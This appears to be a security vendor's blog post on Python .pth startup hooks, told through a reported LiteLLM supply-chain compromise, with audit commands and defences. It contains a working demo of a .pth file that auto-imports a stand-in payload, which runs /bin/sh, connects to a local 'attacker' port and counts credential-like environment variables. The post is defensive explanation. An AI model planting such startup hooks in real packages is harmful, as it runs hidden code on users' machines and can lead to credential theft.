Python malware that runs without an import: .pth files and sitecustomize
Short answer: when Python starts, it processes .pth files in site-packages, and a line that begins with import is executed. So a malicious package that installs one gets to run code every time that interpreter starts, even if your program never imports the package. The fixes are the usual supply-chain ones (pin and hash dependencies, publish through trusted publishing) plus an audit of your .pth files, and, at runtime, limits on what a process may execute and connect to.
This is a small, old mechanism that has been used in a real incident, so it is worth understanding exactly. Below: the documented behaviour, the incident, a tested demo, a one-line audit, and what Dynv’s process firewall did to the demo’s payload.
What Python documents
The standard library’s site module says that for backward compatibility “lines starting with import (followed by space or tab) are executed with exec()” when found in a .pth file. It also documents sitecustomize: after the path manipulations, Python tries to import a module of that name, “which can perform arbitrary site-specific customizations.” Python 3.15 deprecates import lines in .pth files; “during the deprecation period, such lines are still executed” (with a diagnostic only under -v). Don’t count on the mechanism disappearing for years.
The incident
On 2026-03-24, according to Mozilla.ai’s write-up, LiteLLM, a Python package with over 95 million monthly downloads, was compromised: versions 1.82.7 and 1.82.8 on PyPI “contained a credential-stealing payload that exfiltrated SSH keys, cloud provider credentials, Kubernetes secrets, API keys, crypto wallets, and database passwords.” The attackers (a group called TeamPCP) used the maintainer’s PyPI publishing credentials, so the GitHub source was clean while the package was not. The payload used a .pth file: “You don’t need to import litellm for it to run. Just having the package installed is enough.” Mozilla.ai’s advice includes pinning exact versions with hash verification (pip install --require-hashes -r requirements.txt) and using PyPI trusted publishers, which it says “eliminates the attack vector entirely.” (Other write-ups give different durations for how long the versions were live, so we don’t quote one.)
A tested demo
We built a virtual environment and added one file, fastjson_utils_init.pth, containing a single line, plus the module it imports (a stand-in for a payload; it only tries three things against local fake targets and prints the result):
# site-packages/fastjson_utils_init.pth
import _fastjson_boot
# site-packages/_fastjson_boot.py (stand-in payload)
import os, socket, subprocess, sys
def attempt(what, fn):
try:
result = fn()
except Exception as e:
code = os.strerror(e.errno) if getattr(e, "errno", None) else type(e).__name__
result = f"refused ({code})"
sys.stderr.write(f"[fastjson-utils .pth] {what:<30} {result}\n")
attempt("run /bin/sh -c id", lambda: "ran: " + subprocess.check_output(["/bin/sh", "-c", "id -un"], timeout=5).decode().strip())
attempt("connect to attacker :6667", lambda: (socket.create_connection(("127.0.0.1", 6667), timeout=2).close() or "connected"))
attempt("credential-like env vars", lambda: str(len([k for k in os.environ if any(w in k for w in ("KEY", "TOKEN", "SECRET", "PASS"))])) + " visible")
Run an ordinary program that never imports it (here started under dynv run with no firewall policy):
$ python app/main.py
[fastjson-utils .pth] run /bin/sh -c id ran: zalkanorr
[fastjson-utils .pth] connect to attacker :6667 connected
[fastjson-utils .pth] credential-like env vars 1 visible
[app] hello from python; fastjson_utils imported: False
The payload ran before the app’s first line, and fastjson_utils was never imported. Even python -c pass triggers it, and so does python -I (isolated mode); we confirmed both. Starting Python with -S, which skips the site module, did not.
Audit your environment (without starting Python)
Auditing with Python itself would run the hooks, so use plain shell tools. List every .pth line that executes code:
find /path/to/venv/lib -name '*.pth' -exec grep -Hn '^import' {} +
venv/lib/python3.13/site-packages/fastjson_utils_init.pth:1:import _fastjson_boot
A few .pth files with import lines are normal (setuptools and editable installs use them), so keep a baseline and review changes. Also look for sitecustomize.py and usercustomize.py in site-packages and the user site. Run this in CI against the built image, not just your laptop.
Defences, in order
- Don’t install what you can’t verify. Pin exact versions and verify hashes (
pip install --require-hashes). Prefer packages published with trusted publishers. Keep the dependency set small for services that hold credentials. - Install in a place with no secrets. Build in an environment that holds none (why); a
.pthpayload runs on the first interpreter start after install, including at build time. - Rotate when it happens. Treat any host that started Python with a compromised version as exposed and rotate from a clean machine (playbook).
- Contain what a Python process can do at runtime. That is where a firewall can help, with limits.
What the process firewall did with it
We ran the same venv under dynv run with an enforcing policy: allow the Python binary and the app directory to execute; allow outgoing TCP only to the database port (9501). No firewall change to the app, just a policy:
$ dynv firewall apply --process shop --policy policy.json --yes
[fastjson-utils .pth] run /bin/sh -c id refused (Permission denied)
[fastjson-utils .pth] connect to attacker :6667 refused (Permission denied)
[fastjson-utils .pth] credential-like env vars 1 visible
[app] hello from python; fastjson_utils imported: False
$ dynv firewall status --process shop
level full / requested enforce [ok] blocked: exec 1, connect 1, bind 0, write 0
$ dynv firewall violations --process shop
Exec /bin/sh [blocked]
Connect 127.0.0.1:6667 [blocked]
The shell and the call home were refused, at the kernel, before the app ran. Be precise about what that means, because the firewall docs are:
- The payload still ran. It executes inside the allowed Python runtime. Only its direct exec and TCP-connect attempts to unlisted targets were refused.
- It still saw the environment (the “1 visible” is
DYNV_AGENT_KEY, the loopback keydynv rungives the child, which is useless off the machine; any secrets your service holds would also be readable by code inside it). - Allowed loaders,
memfd, native libraries and JIT are not covered by the path rules, and ports are not hosts: a call home on an allowed port to another host would go through. See what we tested.
Limits of this post
- The
.pthpayload is our stand-in, not a sample of the LiteLLM malware. The incident facts come from the Mozilla.ai write-up and the Python documentation linked above. - We tested CPython 3.13 on Linux. Behaviour of future versions (3.15 deprecates
importlines) may change.
Facts last verified . Spotted an error? Tell us.